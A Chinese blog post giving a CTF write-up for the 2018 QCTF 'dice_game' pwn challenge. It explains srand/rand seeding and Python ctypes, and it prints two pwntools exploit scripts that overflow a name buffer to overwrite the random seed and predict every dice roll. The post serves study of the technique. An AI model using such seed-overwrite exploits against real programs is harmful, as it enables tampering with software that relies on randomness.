XCTF 4th-QCTF-2018
前言,不得不说,虽然是个简单题但是还是要记录一下,来让自己记住这些东西。
考察的知识点是:
1.cdll_loadlibrary加载对应库使得Python可以使用c的函数。
2.关于srand函数中种子的介绍。
3.一些平时没有见过的杂项
保证我写的很详细,因为我也是个菜鸡
第一眼就很恐怖嗷,居然就只有canary没有开,其他的全开,got表也不能修改,我就很痛苦嗷
那么这里三种方法其实都是不行的,与答案有点相关的是第二个方法,这里我主要介绍一下srand函数seed,以及rand函数吧。
seed是种子,负责伪随机数列,srand是设置种子的函数,rand函数呢是取伪随机数列。依次对于数列里面的数值去取,详细的我就不说了。
那么这里我们只要获得seed我们就可以知道每一次应该输入的v1数值。
保证我们每次猜,每次对。
另外想要解释的是:ctypes这个py库
说实话这个库我看文档是完全没有看懂的,这里看了别人写的博客,我把博客地址黏贴到这里了(更好的博客园)
https://www.cnblogs.com/gaowengang/p/7919219.html
ctypes是负责在py里面使用c语言的函数,因为这里我们必然要在exp写rand以及srand,所以就要加载相应的库。
加载进去库之后,要使用相应的函数还要使用对应的函数,Linux下就是:
cdll.LoadLibrary()
-
from ctypes import *
libc=cdll.LoadLibrary("libc.so.6")
这里要使用就这个样子了.
所以我就先贴上exp了。
from pwn import *
from ctypes import *
p=process('./dice_game')
libc=cdll.LoadLibrary("libc.so.6")
payload= 'a'*0x40+p64(0)
p.recvuntil("Welcome, let me know your name: ")
p.sendline(payload)
a=[]
for i in range(50):
a.append(str(libc.rand()%6+1))
print a
for i in a:
p.recv()
p.sendline(i)
p.interactive()
这里exp写了两种
from pwn import *
from ctypes import *
p = process('./dice_game')
payload = 'a'*0x40 + p64(0)
libc = cdll.LoadLibrary('libc.so.6')
p.recvuntil("Welcome, let me know your name: ")
p.sendline(payload)
libc.srand(0)
for i in range(50):
a=str(libc.rand()%6+1)
p.recvuntil("Give me the point(1~6): ")
p.sendline(a)
p.interactive()
大家伙可以看看这里两种有什么区别。(好吧估计也没人看我写的博客,也就自己看看吧)
我先介绍一下这里exp吧
都是覆盖到seed那里,然后随便改一个数值修改seed,但是恰好是这里,让我博客打了一半有了新的发现。
这里你如果覆盖成seed为0,1的话,其实他这里生成的数组a是相同的元素,我记得srand默认参数是1,然而这里第一个exp的话是没有后面再次更改srand()的值,直接使用了默认,因为这个人覆盖的这里也是0,但是我其实是不推荐这种做法的。
对于第二个exp,这里还是使用了libc.srand(0)
因此比第一种更好点。
------------------麦林pwn手
如果觉得CSDN越来越拉,并且在CSDN写博客是一件很拉的事情,麻烦点个赞再走。
本文实例为大家分享了JS实现纸牌发牌动画的具体代码,供大家参考,具体内容如下 ...
我们在用ajax请求数据时,可能会遇到一次点击多次触发的可能。 (比如说:ajax ...
本文重点给大家介绍AjaxFileUpload+Struts2实现多文件上传功能,具体实现代码大...
MySQL 运维 - 从零开始学习 一、数据库类型 ? 常见的数据库类型 二、数据库管理...
SQL可以独立完成数据库生命周期中的全部活动,包括定义关系模式、录入数据、建立...
在Sun的Java JDK 1.40版本中,Java自带了支持正则表达式的包,本文就抛砖引玉地...
在用java进行web业务开发的时候,对于页面上接收到的参数,除了极少数是步可预知...
信号章节 -- 信号章节总体概要 信号基本概念 信号是异步事件,发送信号的线程可...
display-namedefaultroot/display-name servlet servlet-namedebugjsp/servlet-n...
无论是Windows还是macOS,都少不了各种小工具的加持。作为操作系统中必不可少的...